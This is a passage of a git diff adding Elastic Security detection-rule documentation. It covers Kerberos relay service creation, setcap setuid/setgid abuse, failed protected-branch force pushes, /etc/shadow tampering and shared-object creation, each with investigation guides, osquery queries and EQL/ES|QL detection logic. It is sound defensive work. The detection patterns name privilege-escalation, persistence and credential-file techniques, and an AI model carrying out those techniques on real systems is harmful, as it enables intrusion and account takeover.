part of regular maintenance. +- Automated scripts or software updates that use Kerberos authentication and subsequently install or update services can also generate false positives. Identify these scripts or update processes and exclude their associated logon IDs from the rule. +- Security software or monitoring tools that perform regular checks and use Kerberos for authentication might inadvertently trigger the rule. Review the behavior of these tools and whitelist their activities if they are verified as non-threatening. +- In environments where localhost is used for testing or development purposes, developers might log in using Kerberos and create services. Consider excluding specific development machines or user accounts from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation. +- Terminate any suspicious services created during the incident to halt potential malicious activities. +- Conduct a thorough review of the affected system's event logs, focusing on the specific LogonId and service creation events to identify the scope of the compromise. +- Reset the credentials of the compromised user account and any other accounts that may have been accessed using the relayed Kerberos tickets. +- Apply patches and updates to the affected system and any other systems in the network to address known vulnerabilities that could be exploited in similar attacks. +- Implement network segmentation to limit the ability of attackers to move laterally within the network, reducing the risk of privilege escalation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name with maxspan=5m + [authentication where host.os.type == "windows" and + + /* event 4624 need to be logged */ + event.action == "logged-in" and event.outcome == "success" and winlog.event_data.ElevatedToken == "%%1843" and process.pid == 0 and + + /* authenticate locally using relayed kerberos Ticket */ + winlog.event_data.AuthenticationPackageName :"Kerberos" and winlog.logon.type == "Network" and cidrmatch(source.ip, "127.0.0.0/8", "::1")] by winlog.event_data.TargetLogonId + + [any where host.os.type == "windows" and + /* event 4697 need to be logged */ + event.action : "service-installed"] by winlog.event_data.SubjectLogonId + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-setcap-setuid-setgid-capability-set.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-setcap-setuid-setgid-capability-set.asciidoc new file mode 100644 index 0000000000..fb9b1c434c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-setcap-setuid-setgid-capability-set.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-20-setcap-setuid-setgid-capability-set]] +=== Setcap setuid/setgid Capability Set + +This rule monitors for the addition of the cap_setuid+ep or cap_setgid+ep capabilities via setcap. Setuid (Set User ID) and setgid (Set Group ID) are Unix-like OS features that enable processes to run with elevated privileges, based on the file owner or group. Threat actors can exploit these attributes to achieve persistence by creating malicious binaries, allowing them to maintain control over a compromised system with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Setcap setuid/setgid Capability Set* + + +Setuid (Set User ID) and setgid (Set Group ID) are Unix-like OS features that enable processes to run with elevated privileges, based on the file owner or group. + +Threat actors can exploit these attributes to achieve persistence by creating malicious binaries, allowing them to maintain control over a compromised system with elevated permissions. + +This rule monitors for the addition of the cap_setuid+ep or cap_setgid+ep capabilities via setcap. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was targeted by the addition of the setuid/setgid capability through OSQuery. +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name == "setcap" and process.args : "cap_set?id+ep" and not ( + process.parent.name in ("jem", "vzctl") or + process.args like "/usr/bin/new?idmap" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-several-failed-protected-branch-force-pushes-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-several-failed-protected-branch-force-pushes-by-user.asciidoc new file mode 100644 index 0000000000..ebc79bffee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-several-failed-protected-branch-force-pushes-by-user.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-several-failed-protected-branch-force-pushes-by-user]] +=== Several Failed Protected Branch Force Pushes by User + +Detects a high number of failed force push attempts to protected branches by a single user within a short time frame. Adversaries may attempt multiple force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Exfiltration +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Several Failed Protected Branch Force Pushes by User* + + +This rule flags a single user generating multiple failed force push attempts to protected branches within a short span, indicating attempts to rewrite commit history and bypass branch protections. An attacker with a compromised maintainer role repeatedly tries to roll back a security fix, delete prior commits, and erase history entries before pushing a malicious revision. This activity threatens code integrity, disrupts pipelines, and can propagate harmful changes across repositories. + + +*Possible investigation steps* + + +- Pull audit entries for the rejected updates to confirm the rejection reasons and the exact org/repo/branch targets, then reconstruct the timeline and sequence of attempts. +- Verify the user's current and recent permissions, team membership, and role changes, and confirm whether any admin or ownership transfers occurred before the attempts. +- Correlate the attempts with authentication and token activity (SSO logins, PAT/SSH key usage, IP/device fingerprints, geo), flagging any new or unusual sources. +- Review branch protection settings and recent edits (require status checks, linear history, admin enforcement, force push exemptions) to detect policy tampering or misconfiguration. +- Identify the specific commits the force pushes sought to overwrite by diffing the attempted ref against the protected branch head, prioritizing impacts to security fixes, release branches, or signed commits. + + +*False positive analysis* + + +- During a repository migration or history cleanup, a maintainer runs a local script that loops through branches and tries to push rewritten commits with --force, but newly tightened branch protection rejects each attempt, resulting in multiple failures. +- A developer who previously had a force-push exemption on a protected release branch loses that permission during a role or team change and continues their usual rebase-and-force-push workflow, causing several rapid rejected ref updates. + + +*Response and remediation* + + +- Immediately block the user in the GitHub organization, revoke all active personal access tokens and SSH keys from their account, and force sign-out to stop further push attempts. +- On each affected repository and branch (e.g., main, release/*), remove any force-push exemptions, enable “Include administrators,” require signed commits and status checks, and restrict push access to specific teams. +- Purge staging artifacts by deleting any branches or tags the user created around the attempts, rotate the user’s password and regenerate PATs/SSH keys, and remove newly registered keys or OAuth apps added during the window. +- Validate recovery by confirming the protected branch HEAD matches the last known good signed commit SHA, re-running CI for impacted repos, and creating a restore point tag for rapid rollback. +- Escalate to incident response if any attempts targeted main or release branches, originated from a newly created PAT/SSH key or an unrecognized IP/device, or the user holds repo admin/organization owner rights. +- Harden long term by enforcing org-wide 2FA/SSO, removing all standing force-push exemptions, requiring CODEOWNERS approvals on protected branches, and enabling audit alerts for branch protection edits and new credential creation. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + github.category == "protected_branch" and + event.action == "protected_branch.rejected_ref_update" +| stats + Esql.document_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_branch_values = values(github.branch), + Esql.github_reasons_code_values = values(github.reasons.code), + Esql.github_reasons_message_value = values(github.reasons.message), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.document_count >= 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shadow-file-modification-by-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shadow-file-modification-by-unusual-process.asciidoc new file mode 100644 index 0000000000..dd0ea31ae7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shadow-file-modification-by-unusual-process.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-shadow-file-modification-by-unusual-process]] +=== Shadow File Modification by Unusual Process + +This rule monitors for Linux Shadow file modifications. These modifications are indicative of a potential password change or user addition event. Threat actors may attempt to create new users or change the password of a user account to maintain access to a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shadow File Modification by Unusual Process* + + +The Linux shadow file is crucial for storing hashed user passwords, ensuring system security. Adversaries may exploit this by altering the file to add users or change passwords, thus gaining unauthorized access or maintaining persistence. The detection rule identifies suspicious modifications by monitoring changes and renames of the shadow file, flagging potential unauthorized access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event type is "change" and the action is "rename" for the file path "/etc/shadow". +- Check the file.Ext.original.path to identify the original location of the shadow file before the rename event. +- Investigate recent user account changes or additions by examining system logs and user management commands executed around the time of the alert. +- Analyze the history of commands executed by users with elevated privileges to identify any unauthorized or suspicious activities. +- Correlate the event with other security alerts or logs to determine if there are additional indicators of compromise or persistence tactics being employed. +- Verify the integrity of the shadow file by comparing its current state with a known good backup to detect unauthorized modifications. + + +*False positive analysis* + + +- System updates or package installations may trigger legitimate changes to the shadow file. Users can create exceptions for known update processes or package managers to prevent these from being flagged. +- Administrative tasks performed by authorized personnel, such as password changes or user management, can also result in shadow file modifications. Implementing a whitelist for specific user accounts or processes that are known to perform these tasks can reduce false positives. +- Backup or restoration processes that involve the shadow file might cause rename events. Users should identify and exclude these processes if they are part of regular system maintenance. +- Automated scripts or configuration management tools that manage user accounts could lead to expected changes in the shadow file. Users should ensure these tools are recognized and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Verify the integrity of the /etc/shadow file by comparing it with a known good backup to identify unauthorized changes or additions. +- Reset passwords for all user accounts on the affected system, ensuring the use of strong, unique passwords to mitigate the risk of compromised credentials. +- Review and remove any unauthorized user accounts that may have been added to the system, ensuring that only legitimate users have access. +- Conduct a thorough audit of system logs and user activity to identify any additional signs of compromise or persistence mechanisms employed by the threat actor. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement enhanced monitoring and alerting for future modifications to the /etc/shadow file to quickly detect and respond to similar threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "change" and event.action == "rename" and +file.path == "/etc/shadow" and file.Ext.original.path != null and +not ( + file.Ext.original.name in ("shadow+", "nshadow") or + process.name in ( + "usermod", "useradd", "passwd", "chage", "systemd-sysusers", "chpasswd", "userdel", "adduser", "update-passwd", "perl" + ) or + process.executable like "/usr/libexec/platform-python*" or + process.executable in ( + "/usr/bin/containerd", "/usr/bin/dnf", "/usr/bin/yum", "/bin/dnf", "./usr/bin/qemu-aarch64-static", + "/usr/local/cpanel/whostmgr/bin/xml-api", "/usr/local/cpanel/whostmgr/bin/whostmgr5", + "/usr/local/cpanel/bin/admin/Cpanel/security" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shared-object-created-by-previously-unknown-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shared-object-created-by-previously-unknown-process.asciidoc new file mode 100644 index 0000000000..61c802c664 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shared-object-created-by-previously-unknown-process.asciidoc @@ -0,0 +1,228 @@ +[[prebuilt-rule-8-19-20-shared-object-created-by-previously-unknown-process]] +=== Shared Object Created by Previously Unknown Process + +This rule monitors the creation of shared object files by previously unknown processes. The creation of a shared object file involves compiling code into a dynamically linked library that can be loaded by other programs at runtime. While this process is typically used for legitimate purposes, malicious actors can leverage shared object files to execute unauthorized code, inject malicious functionality into legitimate processes, or bypass security controls. This allows malware to persist on the system, evade detection, and potentially compromise the integrity and confidentiality of the affected system and its data. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://threatpost.com/sneaky-malware-backdoors-linux/180158/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Shared Object Created by Previously Unknown Process* + + +A shared object file is a compiled library file (typically with a .so extension) that can be dynamically linked to executable programs at runtime, allowing for code reuse and efficient memory usage. The creation of a shared object file involves compiling code into a dynamically linked library that can be loaded by other programs at runtime. + +Malicious actors can leverage shared object files to execute unauthorized code, inject malicious functionality into legitimate processes, or bypass security controls. This allows malware to persist on the system, evade detection, and potentially compromise the integrity and confidentiality of the affected system and its data. + +This rule monitors the creation of shared object files by previously unknown processes through the usage of the new terms rule type. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the shared object that was created or modified through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path = {{file.path}}\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path = {{file.path}}\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. 